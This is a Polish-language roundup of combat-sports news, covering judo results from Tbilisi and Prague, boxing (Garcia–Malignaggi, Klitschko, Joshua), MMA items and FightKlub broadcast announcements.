Z dobrej strony pokazał się Michał Ryciak w kategorii 90kg. Polak na początku turnieju mógł załamać ręce i zrezygnować z dalszej rywalizacji, jednak zawziął się i walczył o jak najlepszy wynik. Ryciak odprawił z udziału w zawodach Sebastiana Schneidera z Austrii, jednak w kolejnym pojedynku musiał przełknąć gorzką pigułkę. Onise Saneblidze pokonał polskiego judokę, który był jedną z przeszkód na drodze Gruzina do triumfu. Zawodnik gospodarzy zdominował rywalizację w kategorii 90kg. Jakie były dalsze losy Ryciaka? Polak w repasażach wykazał się stuprocentową skutecznością i wygrał dwie walki, co pozwoliło mu stanąć do pojedynku o brązowy medal. W decydującym starciu Ryciak zmierzył się z Simeonem Cathariną. Holender pokonał Polaka, który w stolicy Gruzji musiał zadowolić się zajęciem piątej pozycji.

W Tbilisi podobną drogę przebyli Kacper Kaczor (60kg) oraz Maciej Krogulski (73). Obaj judocy przegrali swoje pierwsze walki, ale w repasażach odnieśli dwa zwycięstwa, co pozwoliło pozostać im w grze. Kolejne walki Kaczora i Krogulskiego zakończyły się porażkami, co w ostatecznym rozrachunku pozwoliło im zająć siódme miejsca. W kategorii 81kg na siódmej lokacie uplasował się Michał Jackiewicz.

Włosi najlepsi

W Tbilisi najlepiej zaprezentowali się judocy z Włoch, którzy osiem medali – pięć złotych, jeden srebrny i dwa brązowy. Cztery pierwsze miejsca przypadły gospodarzom Gruzinom. Na trzecim miejscu w klasyfikacji medalowej znalazł się Azerbejdżan. Poza podium znaleźli się za to Rosjanie.

Reprezentanci Sbronej wywalczyli zaledwie jeden złoty medal. W kategorii 81kg triumfował Murad Kurbanismailov.

KM

Garcia zasypał rywala ciosami

Kolejne zwycięstwo na zawodowym ringu odniósł Danny Garcia. Mistrz świata wagi lekkopółśredniej WBA i WBC pokonał Pauliego Malignaggi. Walka odbyła się w limicie kategorii półśredniej.

Garcia zdominował swojego rywala, co pozwoliło mu odnieść zwycięstwo. Doświadczony Malignagii starał się nawiązać walkę ze „Swiftem”, jednak ten siłą swojego ciosu pokazał rywalowi, gdzie jest jego miejsce.

Malignagii opadał z sił

Garcia chciał dyktować warunki pojedynku i decydować o jego obliczu. Walka rozpoczęła się po myśli 27-latka z Filadelfii, jednak jego rywal też chciał mieć coś do powiedzenia. „Magic Man” stoczył swój pierwszy pojedynek w tym roku i liczył, że uda mu się zatrzeć złe wrażenie po ubiegłorocznej porażce w czwartej rundzie z Shawnem Porterem. Malignagii miał momenty, w których doskakiwał do swojego rywala i zadawał ciosy, jednak ich siła była wątpliwa, a na pewno nie robiła wrażenia na Garcii.

Od czwartej rundy „Swift” rozdawał karty i decydował o tempie pojedynku. Na głowę Malignagiego spadały kolejne ciosy. „Magic” miał obitą twarz, pełną siniaków oraz rozcięty łuk brwiowy. Kwestią czasu było, kiedy Garcia postawi kropkę nad „i”, jednak o zakończeniu rywalizacji zadecydował sędzia. Widząc niemożność „Magica” arbiter przerwał pojedynek w dziewiątej rundzie.

Garcia odniósł trzydzieste pierwsze zwycięstwo na zawodowym ringu i drugie w tym roku. Po raz kolejny „Swift” pokazał, że może namieszać w kategorii półśredniej.

Co dalej?

Garcia już myśli o kolejnej walce. „Swift” coraz śmielej puka do czołówki wagi półśredniej i czeka na pojedynek, który pozwoli mu wejść na szczyt. Wśród ewentualnych przeciwników wymienia Shawna Portera i Keitha Thurmana. – Keith Thurman i Shawn Porter to pięściarze o wysokich umiejętnościach. Obaj są mistrzami i wiele osiągnęli. Nie inaczej jest ze mną, jestem gotów do walki. W tej kategorii wagowej Al Haymon jest menadżerem i jeśli będzie chciał, to do takiego pojedynku doprowadzi – mówi Garcia.

Nieco inne plany ma Malignagii. „Magic” zanotował drugą porażkę z rzędu i coraz poważniej myśli o zakończeniu kariery bokserskiej. Malignagii chce poświęcić się pracy komentatora. – Mam bardzo dobrą pracę jako komentator. Liczę, że dzięki niej nadal będę blisko boksu, co pozwoli mi obserwować wspaniałe walki. Powiedziałem sobie, że jeśli tego wieczoru nie zaprezentuję odpowiedniego poziomu to będzie mój ostatni występ. Starałem się jak mogłem. Po kolejnych mocnych uderzeniach mówiłem sobie, że dam radę. Jeśli pokażesz, że nadal jesteś głodny zwycięstwa, to nie będzie to koniec. Chciałem to zaprezentować. Rywal stopniowo zyskiwał przewagę aż sędzia przerwał pojedynek. Nie mam z tym problemu – powiedział Malignagii.

Jeden z aktorów widowiska na gali w Brooklynie schodzi ze sceny. Drugi stopniowo wdrapuje się na szczyt. Danny Garcia jeszcze może namieszać w kategorii półśredniej.

KM

Białas: Czekam na kolejne walki

Początek kariery miał kiepski, ale udało mu się podnieść. Nie zabrakło mu wiary i wytrwałość, a nadal zamierza się rozwijać. O swoich planach mówi nam Grzegorz „Gusiek” Białas, zawodnik MMA.

Ostatnia Twoja walka odbyła się w listopadzie. Pokonałeś wtedy Mateusza Antoniewicza, który nie wytrzymał naporu Twoich ciosów. Kiedy kolejna walka?

Miałem również walkę w maju, gdzie kontuzja kolana wyeliminowała mnie na początku pojedynku, więc liczę to jako no contest, gdyż nie padł ani jeden cio,s a osłabienie organizmu i kilka chorób w trakcie przygotowań mnie zniszczyły. Teraz już wyleczylem kolano i czekam na kolejne walki. Mam madzieje, że we wrześniu wejdę do klatki!

Cztery zwycięstwa z rzędu robią wrażenie i wszystkie wskazuje na to, że wyszedłeś na prostą i robisz wszystko, aby zaistnieć w polskim MMA.

Mam pewien talent od Boga, mogę dzięki pojedynkom spełniać swoje marzenia i przyciągać ludzi i do sportu i do Boga- dając widowiskowe walki i dając świadectwo wiary katolickiej. Chcę się rozwijać i robię wszystko, by zejść z wagi i jeszcze w tym roku zaistnieć w rankingu PL.

Wszystkie Twoje pojedynki, zarówno wygrane jak i przegrane, zawsze kończą się przed czasem. Dlaczego tak jest?

Wyznaję zasadę, ze decyzje sędziowskie często są krzywdzące i mało widowiskowe, więc chcę dawać walki dynamiczne i efektowne. Tym sposobem publika zapamięta coś wyjątkowego.

Jakie są Twoje dalsze plany związane z MMA?

Planuję stoczyć w tym roku jeszcze trzy walki, a w przyszłym roku chciałbym stoczyć pojedynek zagranicą.

Prowadzisz własny klub, który jest dość kameralny i trenuje w nim mała grupa chłopaków. Jak radzisz sobie obecnie? Czy jest zapotrzebowanie na istnienie takich podmiotów?

Obecnie nie mamy zajęć, ruszam z nowym projektem od września. Myślę, że propagowanie zdrowego stylu życia, sportu zawodowego i rekreacji ruchowej jest pożądana i szkoda, że tak mało odpowiednich ludzi prowadzi takie kluby. Oby było nas więcej, aby MMA miało piękna renomę. Niedługo mój klub będzie reprezentować paru ciekawych zawodników, zobaczycie wkrótce!

rozmawiał: KM

Powolne odsłanianie kart

Organizacja DUET FIGHT NIGHT stopniowo odsłania kolejne nazwiska gali zaplanowanej na 20 września w Londynie. Fighterzy mają stworzyć widowisko na najwyższym poziomie. Polscy i angielscy zawodnicy wystąpią w pojedynkach na gruncie kickboxingu oraz MMA.

Wydarzenie warte uwagi ze względu na fakt, że jest to przedsięwzięcie polsko-angielskie. Tomasz Biernacki i Keith Allen podpisali stosowne porozumienie na mocy, którego w Londynie zostanie zorganizowana gala.

Kto w Londynie?

Organizator stopniowo odsłania kolejne nazwiska, które pojawią się na londyńskiej gali, czym potęguje ciekawość obserwatorów. DUET FIGHT NIGHT chce dostarczyć publiczności oraz widzom niezapomnianych emocji. W Londynie dojdzie do czterech pojedynków, których stawką będą pasy mistrzowskie.

Obecnie są znane trzy pary, które 20 września zaprezentują się podczas gali DUET FIGHT NIGHT. Jerzy Wroński zmierzy się Sevketem Cerkezem. Trenujący w warszawskiej Palestrze zawodnik w ostatnim czasie notuje dobre występy. Wroński miał zaprezentować się na gali Enfusion w Dublinie, jednak ostatecznie w Irlandii nie wystąpił. Teraz ma czas, aby jak najlepiej przygotować się do wrześniowego starcia. W ostatnim pojedynku Wroński rywalizował z Justinem Doyle’m i nie dał rywalowi żadnych szans. Pewne zwycięstwo doświadczonego fightera pokazało, że nadal może toczyć pojedynki na wysokim poziomie. Czy w rywalizacji z Cerkezem Polak wespnie się na szczyt swoich możliwości? Najbliższy rywal Wrońskiego w Londynie będzie chciał poprawić swoje samopoczucie i w końcu odnieść zwycięstwo. Sevket Cerkez szlifował swój warsztat w Tajlandii, gdzie stoczył dwie walki zawodowe. W obu przypadkach musiał uznać wyższość swoich rywali. Czy w starciu z Wrońskim będzie w stanie wrócić na właściwe tory?

W Londynie zaprezentuje się Kamil Jenel, który wystąpi w rywalizacji z Kieranem Peartem. Polski fighter ma za sobą bardzo aktywny okres. W tym roku Jenel stoczył już cztery pojedynki i jego bilans to dwa zwycięstwa i dwie porażki. Podczas DSF Kickboxing Challenge pokonał Bartosza Dołbienia. Był to ostatni pojedynek Jenela, po którym zawodnik musiał odpocząć. Powodem takiego stanu rzeczy była kontuzja. Jenel wraca już do regularnych treningów i szlifuje formę przed występem na londyńskiej gali. Peart na angielskim podwórku jest niezwykle mocnym zawodnikiem. Najbliższy rywal Jenela to mistrz Anglii K-1 organizacji WKA.

Jest i kobieta

W Londynie nie zabraknie również pań. 20 września w Londynie wystąpi Marta Waliczek, która zmierzy się z Nicole Commerford. Polka jest utytułowaną zawodniczką kickboxingu zarówno na arenie krajowej jak i światowej. Waliczek  to obecna mistrzyni Polski w K-1 w 60kg. Ponadto, polska zawodniczka zdobywała medale mistrzostw Europy i świata. W Londynie będzie miała okazję sprawdzić, jaki jest poziom sportów uderzanych w Anglii. Rywalką Waliczek będzie aktualna mistrzyni Anglii w muay thai w kategorii piórkowej Nicole Commerford.

KM

Błachowicz nie dostanie szansy

Stało się coś niesłychanego. Z dnia na dzień okazało się, że Jan Błachowicz nie wystąpi na gali UFC 191 w Las Vegas w pojedynku z Anthony’m Johnsonem.

Jakie są powody decyzji włodarzy UFC? Błachowicz nie doznał kontuzji, która eliminowałaby go z walki, więc sytuacja jest dość zastanawiająca.

Nie będzie wielkiej walki

„John” czeka na swój trzeci pojedynek w UFC. Błachowicz w Las Vegas miał się zmierzyć z numerem jeden kategorii półciężkiej Anthony’m Johnsonem. Amerykanin to solidna marka i czołowa postać organizacji. Johnson niedawno walczył o pas, który zostawił Jon Jones, jednak Daniel Cormier okazał się lepszy. Podczas UFC 187 31-letni fighter z Florydy musiał przełknąć gorycz porażki po raz pierwszy od 2012 roku. Johnson jest na szczycie wagi półciężkiej, jednak cały czas poluje na pas. O jego umiejętnościach miał przekonać się Jan Błachowicz. Dla Polaka byłaby to ogromna szansa i wyzwanie, jednak nie będzie.

Wydawało się, że kibice w Polsce będą mieli okazję emocjonować się jedną z najważniejszych walk w historii polskiego MMA. Po fantastycznych walkach Joanny Jędrzejczyk miała przyjść kolej na show w wykonaniu „Johna”. Trzeba poczekać. Planowany pojedynek w Las Vegas nie wypali. Dlaczego? Można się tylko domyślać. Dla Błachowicza byłaby to dopiero trzecia walka w UFC, a do tej pory ocena jego występów nie jest jednoznaczna. W debiucie w starciu z Ilirem Latifim dał nadzieję, że może być powiewem świeżości w wadze półciężkiej. Występ na gali w Krakowie zmył dobre wrażenie. Błachowicz w pojedynku z Jimim Manuwą był przestraszony, wolny i nie pokazał praktycznie nic. Mimo wszystko działanie UFC jest dziwne i nie do końca profesjonalne.

Manuwa za Błachowicza

Okazuje się, że 5 września w Las Vegas z Johnsonem zmierzy się pogromca Błachowicza z Krakowa Jimi Manuwa. Być może UFC chce wzbudzić większe zainteresowanie galą i postawić do walki z numerem jeden wagi półciężkiej bardziej doświadczonego zawodnika. Manuwa ma dłuższy staż w najlepszej organizacji mieszanych sztuk walki niż Błachowicz, a w bezpośrednim starciu okazał się lepszy od Polaka. To z pewnością czynniki, które miały wpływ na decyzję dyrektorstwa UFC.

Tym samym Błachowicz na później musi odłożyć marzenia o walce z jednym z najlepszych fighterów w swojej kategorii wagowej. Mimo wszystko Polak ma pojawić się na gali UFC 191 z tym, że zmierzy się z innym przeciwnikiem. Teoretycznie mniej wymagającym. Trudno jakkolwiek tłumaczyć decyzję organizacji, jednak można się zastanowić, jak wpłynie ona na Błachowicza. Z jednej strony może być to dodatkowa motywacja powodująca chęć udowodnienia swojej wartości, z drugiej spowoduje złość i uczucie niedocenienia. Na pewno rywalizacja z Johnsonem byłaby rzuceniem Polaka na głęboką wodę. Teoretycznie walka ze słabszym rywalem może pomóc Błachowiczowi odbudować się i udowodnić, że warto na niego postawić w rywalizacji z numerem jeden kategorii półciężkiej.

KM

Dąbrowska zdobyła medal na igrzyskach

Europejskie Igrzyska Młodzieży w Tbilisi są areną zmagań młodych sportowców, w tym judoków. Po srebrny medal w kategorii 57kg sięgnęła Anna Dąbrowska.

Do rywalizacji w stolicy Gruzji stanęło ponad trzystu młodych judoków. Zgodnie z tradycją zawsze wśród startujących jest więcej panów niż pań. Tym razem różnica ta nie jest aż tak nadto widoczna. W Igrzyskach Młodzieży zaprezentuje się stu siedemdziesięciu pięciu judoków i sto trzydzieści judoczek. Warto zauważyć, że najsłabiej obsadzone są dwie kategorie wagowe wśród pań, gdzie startuje zaledwie sześć i osiem zawodniczek. Odpowiednio 44kg i 48kg. Wśród panów najmniej startujących liczy kategoria 50kg – piętnastu.

Sukces srebrem zmierzony

Anną Dąbrowska przystąpiła do rywalizacji w najliczniej obsadzonej kategorii wagowej. W 55kg walczyły dwadzieścia cztery zawodniczki, jednak drabinka turnieju ułożyła się po myśli młodej Polki. Na początek Dąbrowska mogła zrelaksować się oraz odetchnąć. Dostała wolny los i czekała na rywalkę, która wyłoniła się z pojedynku Lesley Koorn – Lucy Day. Lepsza okazała się Holenderka, ale jej entuzjazm powstrzymała Dąbrowska. Następnie Polka trafiła na Gili Sharir. Reprezentantka Izraela również miała za sobą jedną walkę i liczyła, że bez problemu uzyska awans do półfinału, jednak pomyliła się w swoich kalkulacjach. Dąbrowska pokonała Sharir, która poradziła sobie doskonale w repasażach, ale walkę o brązowy medal przegrała ze swoją rodaczką Emilią Kanervą, co w ostatecznym rozrachunku dało jej piąte miejsce. Wracając do Dąbrowskiej. W półfinale nasza judoczka trafiła na Szwajcarkę Ines Amey. Dąbrowska zrobiła wszystko, aby awansować do finału, w którym czekała już Eteri Liparteliani. Reprezentantka Gruzji na własnym terenie czuła się pewnie i okazała się lepsza od Polki. Na szyi Dąbrowskiej zawisł srebrny medal.

Trzech na siódmym

Wśród panów wyróżniło się trzech naszych reprezentantów, którzy w swoich kategoriach wagowych zajęli siódme miejsca.

Kacper Kaczor udział w igrzyskach rozpoczął od porażki. Polak, który rywalizował w kategorii 60kg trafił na Larsa Kamphuisa. Ostatecznie Holender zakończył zawody z brązowym medalem. Kaczor trafił do repasaży, gdzie wygrał dwa pojedynki, jednak poległ w starciu z Ismayilem Ibrahimovem. Reprezentant Azerbejdżanu w Tbilisi uplasował się na trzecim miejscu. Tak więc Kaczor przegrywał z tymi zawodnikami, którzy sięgali po medale.

Podobną drogę w kategorii 73kg przeszedł Maciej Krogulski. Filip Stojak odesłał Polaka do repasaży, gdzie ten wygrał dwie walki. Po pokonaniu Giacomo Gamby Krogulski stanął do rywalizacji z Lukasem Wittwerem. Szwajcar wygrał, a w pojedynku w o trzecie miejsce okazał się lepszy od Artura Panaitova. W kategorii 81kg na siódmym miejscu uplasował się Michałem Jackiewicz, który wygrał swoją pierwszą walkę z Gogą Kevkhishvili, ale w starciu z Mirosalvem Kopisem musiał pogodzić się z porażką. Polak w repasażach wygrał jeden pojedynek, a na jego drodze do walki o brąz stanął Niemiec Tim Schmidt.

KM

Brązowa Praga

Trzy medale przywieźli nasi reprezentanci z Pucharu Europy Juniorów w judo w Pradze. Wszystkie koloru brązowego.

Rywalizacja w Czechach przyciągnęła blisko czterystu zawodników. Po raz kolejny w zawodach wzięło udział prawie o połowę więcej panów. Judoków w Pradze zaprezentowało się 257, w rywalizacji pań na tatami pojawiło się129 zawodniczek. Najmniej licznie były obsadzone kategorie 44kg i 78kg, odpowiednio siedem i osiem judoczek.

Brazylijska klątwa

Martyna Dobrowolska i Beata Pacut szły jak burza. Aż do półfinałów. Pacut miała zadanie o tyle łatwiejsze, że w jej kategorii wagowej (78kg) startowało osiem zawodniczek i szanse na zajęcie miejsca w czołówce tym samym były większe. Wystarczyło dobrze wejść w zawody. A to Pacut udało się zrealizować. W pierwszej walce odprawiła Portugalkę Elsę Mendes, a następnie trafiła na Vasylynę Kyrychenko. Ukrainka na początku zawodów miała wolny los, Pacut już zdążyła się rozgrzać i na fali wznoszącej rozprawiła się z przeciwniczką. Dwie wygrane walki dały Polce miejsce w strefie medalowej. W półfinale Pacut nie sprostała Ellen Furtado z Brazylii. Triumfatorką w kategorii 78kg okazała się inna z reprezentantek Canarinhos –Camila Nogueira. W tej samej wadze wystąpiła Anita Formela, jednak bez powodzenia. Polka przegrała pierwszy pojedynek, co przesunęło ją do repasaży, ale tam również sobie nie poradziła.

Martyna Dobrowolska w kategorii 57kg mogła dłużej rozgrzewać się. Na początku otrzymała wolny los, ale jej pierwszą rywalką była zawodniczka gospodarzy Michaela Kulikova. Polka uporała się z rywalką, a następnie wyeliminowała Akerke Myrzabek z Kazachstanu. W półfinale rywalką Dobrowolskiej była Kamila Silva. Brazylijka pokonała Polkę, a następnie zwyciężyła w finale Teclę Cadilla Acevedo. Zatem w Pradze zmorą dla polskich judoczek okazały się zawodniczki z Kraju Kawy, który pozbawiły Pacut i Dobrowolską szans na złoto. W rywalizacji o trzecie miejsce walcząca w kategorii 57kg Polka uporała się z Mariią Skora z Ukrainy.

Trzeci medal dla Polski w czeskim turnieju wywalczył Jakub Ozimek. Polak walczący w kategorii 90kg trafiał na zawodników w obszaru byłego ZSRR. Przegrał tylko raz. W półfinale lepszy od naszego judoki okazał się Litwin Rokas Nenartavicius. Ozimek w decydującym o brązowym medalu starciu uporał się z Temirlanem Kolbayem.

Dominacja Brazylii

Reprezentanci Brazylii w Pradze okazali się precyzyjni i skuteczni. Sześć złotych medali pozwoliło im zająć pierwsze miejsce w klasyfikacji medalowej. Canarinhos wywalczyli również sześć srebrnych i dwa brązowe krążki. Z dobrej strony pokazali się reprezentanci Kazachstanu i Ukrainy.

Warto odnotować sukces Greczynki Elisavet Teltsidou, która w kategorii 63kg w finale pokonała Brazylijkę AlexięCastilhos.W tej samej wadze na piątej pozycji uplasowała się Anna Isenko, a Katarzyna Kasza była siódma.

KM

Angielskie myślenie Władimira

Niektórzy już zastanawiają się, kiedy Władimir Kliczko przejdzie na emeryturę. Ukrainiec też o tym myśli, jednak wcale mu się nie spieszy.

Na jesieni zmierzy się z krnąbrnym Tysonem Furym. Walka medialna już wystartowała i Brytyjczyk dał popis umiejętności, tak aby zwrócić uwagę na pojedynek i wzbudzić zainteresowanie pojedynkiem.

Kolejny Anglik w kolejce

O pięściarzach z Wysp można powiedzieć wiele. Zwłaszcza to, że mają skłonność do mówienia. Wiele, na temat, poza tematem, wokół tematu. Tak to mniej więcej wygląda. Dużo mówią, mało robią. David Haye straszył Władimira Kliczko, odgrażał się i już witał się z tronem w wadze ciężkiej. Wszedł do ringu i bańka mydlana prysła. Czy tak samo będzie w przypadku Tysona Fury’ego? Wielkolud z Anglii jest narcyzem o potężnym ciosie, jednak w rywalizacji z Kliczko musi udowodnić swoją wartość. Słowa nie wystarczą. Tak naprawdę Kliczko nie musi robić nic. To na barkach Anglika spoczywa presja, która z każdym kolejnym dniem będzie do niego docierała i coraz mocniej paraliżowała. Mistrzowskie zapędy mogą legnąć w gruzach, ale tak wytrawny taktyk jak Fury z pewnością nie da tego po sobie poznać. On wie, że musi nakręcać widowisko.

Jednak jest jeden bokser z Wysp Brytyjskich, o którym mówi się dużo, a on robi powoli swoje i czeka na rozwój sytuacji. Nie zachwyca się swoimi umiejętnościami, tylko wchodzi do ringu i walczy. Można powiedzieć, że jest na początku swojej drogi, ale już wzbudza zainteresowanie. To Anthony Joshua, który obecnie jest drugim zawodnikiem w rankingu organizacji WBC w wadze ciężkiej. W najbliższej walce Joshua zmierzy się z Gary’m Cornishem.

Postępy młodego Anglika zauważył sam Władimir Kliczko. Czy to oznacza, że Ukrainiec będzie chciał zmierzyć się z Joshuą? Na takie założenia jest zbyt wcześniej. Ponadto, Joshua jest na początku swojej drogi i musi okrzepnąć, a przede wszystkim pokazać, że prezentuje odpowiedni poziom i powtarzalność. – Anthony ma wszystko, aby osiągnąć sukces i stać się wielkim mistrzem. Najważniejsze, że ma atrybuty potrzebne w ringu jak i poza nim. Jeśli podtrzyma passę zwycięstw niewykluczone, że dojdzie do pojedynku między nami. Trzymam w swoich rękach tytuły mistrza świata od wielu lat, dlatego jeśli Joshua chce ze mną walczyć musi wspiąć się na szczyt -mówi Władimir Kliczko.

Październik Ukraińca

Mistrz świata federacji WBA, WBO, IBF, IBO w Dusseldorfie stoczy sześćdziesiąty ósmy pojedynek na zawodowym ringu. Gdzie w porównaniu ze starym wygą są Fury i Joshua? Ostatnie lata pokazują, że Kliczko, co by się nie działo utrzymuje się na szczycie. Teraz ten stan rzeczy będzie chciał zmienić angielski bokser z Wilmslow, który lubi, gdy jest o nim głośno. Teraz coraz więcej mówi się o pięściarzu z Watfordu. Mówi się o nim. To jest podstawowa różnica. Najbliższy rywal ukraińskiego mistrza mówi sam o sobie, o jego młodszym koledze zaczynają mówi, gdy ten robi swoje. Jest różnica. A może dojdzie do bitwy o tytuł króla Anglii? Pomysł ciekawy.

KM

Pakują się do Astany

Mistrzostwa świata w judo już za niespełna miesiąc. Nasza kadra zbiera ostatnie szlify i z nadziejami uda się do Kazachstanu. Prawdopodobnie do  Astany pojedzie szesnastoosobowa reprezentacja Polski.

W kadrze znajdzie się po osiem pań i panów. Powoli walizkę do Astany mogą pakować: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Arleta Podolak (57kg), Agata Ozdoba (63kg), Katarzyna Kłys (70kg), Daria Pogorzelec (78kg), Katarzyna Furmanek (+78kg), Paweł Zagrodnik i Aleksander Beta (66kg), Damian Szwarnowiecki (73kg), Łukasz Blach i Jakub Kubieniec (81kg), Patryk Ciechomski (90kg), Jakub Wójcik (100kg) oraz Maciej Sarnacki (+100kg).

Czy medal jest realny?

To pytanie kluczowe, które nie daje spokoju. Jeszcze rok temu można było spokojnie twierdzić, że polscy judocy się na fali wznoszącej. A teraz? Sytuacja zmieniła się. Forma naszych judoków jest jak sinusoida. Trudno założyć, kiedy będą mieli swój dzień. Początek roku był udany, ale potem przyszedł kryzys. Ostatnie starty dały jednak nadzieję, że w Astanie może być dobrze.

Mistrzostwa świata do niedawna odbijały nam się czkawką. Polacy ze światowego czempionatu od 2003 roku wracali ze spuszczonymi głowami. Robert Krawczyk był ostatnim, który sięgnął po medal mistrzostw świata aż do ubiegłego roku i występu Katarzyny Kłys w Czelabińsku. Nasza zawodniczka w kategorii 70kg sięgnęła po brązowy medal. Radości nie było końca, a cały sezon był niezwykle udany w wykonaniu Kłys.

Tak jak i innych naszych judoków. Pogorzelec, Ozdoba, Beta czy Sarnacki notowali dobre występy. Początek roku 2015 był dobry w wykonaniu Katarzyny Furmanek i Agaty Perenc. Maciej Sarnacki triumfował w Pucharze Świata na warszawskim Torwarze. Wszystko układało się dobrze do czasu. Jedną z głównych imprez sezonu były pierwsze w historii Igrzyska Europejskie w Baku, które dla judoków pełniły zarazem rolę mistrzostw Europy. Brak medalu mówi sam za siebie.

Zrehabilitować się za Baku

Nie ulega wątpliwości, że sezon trzeba ratować. W Baku żadnemu polskiemu judoce nie udało się stanąć na podium. Do Igrzysk Olimpijskich w Rio de Janeiro pozostał rok, więc czas budować formę. W Baku najwyższe miejsce spośród Polaków zajęła Katarzyna Kłys, która była piąta w swojej kategorii wagowej. Na dziewiątych lokatach uplasowały się Ewa Konieczny i Agata Perenc.

Jednak ostatnie występy dają nadzieję, że w Kazachstanie nasi mogą wypaść lepiej niż w Baku. Podczas zawodów Grand Slam w Tiumeniu po brązowy medal sięgnął Maciej Sarnacki. Polak dołożył do swojego konta kolejne punkty w rankingu kwalifikacji olimpijskich. Puchar Europy w Sindelfingen również był szczęśliwy dla Polaków. Złoty medal zawisł na szyi Karoliny Pieńkowskiej. Z kolei po brąz sięgnął Damian Szwarnowiecki. Tuż za podium uplasował się Aleksander Beta. Czy to dobry znak? Rok temu z mistrzostw świata Polska przywiozła jeden medal. Taki sam dorobek będzie dobrym wynikiem, większą zdobycz kwalifikować trzeba będzie jako sukces.

KM

ESPN Premier Boxing Champions: Garcia vs Malignaggi i Jacobs vs Mora

Na żywo: ESPN Premier Boxing Champions: Garcia vs Malignaggi i Jacobs vs Mora!
 

Zapraszamy na kolejną wypełnioną gwiazdami galę z cyklu ESPN Premier Boxing Champions. Niepokonany mistrz kategorii lekkopółśredniej Danny Garcia (30-0, 17 KO) w nowojorskiej Barclays Center podejmie ex mistrza dwóch kategorii wagowych, Pauliego Malignaggiego (30-6, 7 KO).
Chociaż formalnie gospodarzem pojedynku będzie wychowany pośród brooklyńskich ulic “Magic Man”, to urodzony w Portoryko Garcia może śmiało uznać Brooklyn za swój sportowy drugi dom. Walka z Malignaggim będzie jego piątym występem w Barclays Center, ostatnio pokazał się tu 11 kwietnia wygrywając z Lamontem Petersonem. Kontr-boks w wykonaniu Garcii jest jak whisky dla koneserów i widowiskowy mecz piłkarski, bo mimo, że skutecznie i świetnie technicznie, Danny walczy także efektownie. Trenowany przez ojca 27-latek powoli przestaje mieścić się w limicie 140 funtów i dlatego jego starcie z Pauliem Malignaggim odbędzie się w limicie kategorii półśredniej – 147 funtów – bez pasów mistrzowskich na szali.
Paulie Malignaggi w przeciągu trwającej 14 lat kariery mierzył się z prawdziwą plejadą gwiazd kategorii lekkopółśredniej i półśredniej – od Miguela Cotto przez Ricky’ego Hattona i Juana Diaza po Amira Khana. Zwycięstwa nad Lovemorem N’dou w 2007 roku i Wiaczesławem Senczenko w 2012 zagwarantowały mu prestiżowe tytuły IBF w kategorii lekkopółśredniej i WBA w kategorii półśredniej. Na przestrzeni lat bardzo szybki lecz lekko bijący (zaledwie 7 nokautów w 33 pojedynkach) “Magic Man” wyrobił sobie renomę twardego, charyzmatycznego boksera, który potrafi także rozkręcić dobre show. Umiejętności poza ringowe “Magika” doceniła stacja telewizyjna Showtime zatrudniając go na stanowisku komentatora. Ostatnio Malignaggi prezentował się na ringu ze zmiennym szczęściem. W kwietniu zeszłego roku przegrał przed czasem z Shawnem Porterem, wcześniej jednak wygrał “bitwę o Brooklyn” z Zabem Judah. Faworytem pojedynku jest naturalnie Garcia, jednak “Magik” nigdy w karierze nie przegrał dwóch pojedynków z rzędu, a w kategorii półśredniej ma zdecydowanie większe doświadczenie niż Portorykańczyk.
W innym bardzo interesującym starciu na ring powróci mistrz świata WBA w kategorii średniej Daniel Jacobs (29-1, 26 KO). Doświadczony walką z rakiem “Cudotwórca” wystąpi już po raz czwarty po pokonaniu choroby, jednak najprawdopodobniej będzie to jego najtrudniejszy testy od tamtego czasu. Przeciwnikiem 28-letniego Amerykanina będzie były mistrz w niższej wadze i pogromca naszego Grzegorza Proksy – “Latynoski Wąż” Sergio Mora (28-3, 9 KO).
Na transmisję bokserskiego wieczoru w Barclays Center zapraszamy w nocy z soboty na niedzielę 1 sierpnia od 03:00, powtórka w niedzielę o 11:30, wyłącznie w FightKlubie!

Źródło: materiały prasowe

Premiera Broadway Boxing!

Kawał historii, nowojorski klimat i duża dawka dobrych walk – to znajdą widzowie w debiutującym 29 lipca w FightKlubie cyklu “Dibella Broadway Boxing”. Lou Dibella to człowiek orkiestra, który poznał pięściarstwo z rozmaitych perspektyw i dlatego świetnie wie jak zorganizować show satysfakcjonujące nawet najbardziej wybrednych fanów. Absolwent uniwersytetu Harvarda, były szef boksu w telewizyjnym gigancie HBO, stworzył między innymi kultowy dziś cykl “Boxing After Dark” (grany także w FightKlubie), a dzisiaj realizuje swoją bokserską pasję poprzez “Broadway Boxing”.
Podczas pierwszej emisji stacja FightKlub pokaże galę w słynnej B.B. King Blues Club and Grill na Manhattanie. W walce wieczoru popularny prospekt kategorii junior lekkiej Bryant “Peewee” Cruz (14-0, 7 KO) położy swój niepokonany rekord na szali pojedynku z mocno bijącym Martinem Cordoną (19-5, 14 KO). Ponadto w ośmiorundowych walkach zaprezentują się: były najlepszy amerykański amator Patrick Day (10-1-1, 6 KO), który podejmie Lenwooda Doziera oraz niepokonany Shawn Cameron (9-0, 4 KO), który stanie naprzeciw Francisco Rezy.

Premiera w środę 29 lipca o godzinie 22:00!

Źródło: materiały prasowe

Tybura odwiedzi Pekin

Polski zawodnik wagi ciężkiej we wrześniu stoczy kolejny pojedynek na zasadach MMA dla organizacji M-1 Challenge. Rywalem Marcina Tybury będzie Ante Delija.

29-latek z Uniejowa w swoim najbliższym występie będzie chciał się zrehabilitować za ostatnią porażkę, która zarazem była jego pierwszą w zawodowej karierze. Podczas gali M-1 Challenge 57 popularny „Tybur” przegrał z Stephanem Puetzem.

Obronić pas

M-1 to rosyjska organizacja mieszanych sztuk walki, która powstała w 1998 roku. Ustawicznie zwiększała swoją popularność i zyskała odpowiednią renomę. Początkowo gale odbywały się w Rosji, potem zawitały również do Holandii. Z czasem ekspansja M-1 rozszerzała się. W rosyjskiej organizacji swoją obecność zaznaczyli polscy zawodnicy. Mistrzami M-1 byli Rafał Moks i Damian Grabowski, na jej galach walczyli również Tomasz Narkun, Marcin Zontek i Łukasz Jurkowski. Obecnie mistrzem wagi ciężkiej jest Marcin Tybura.

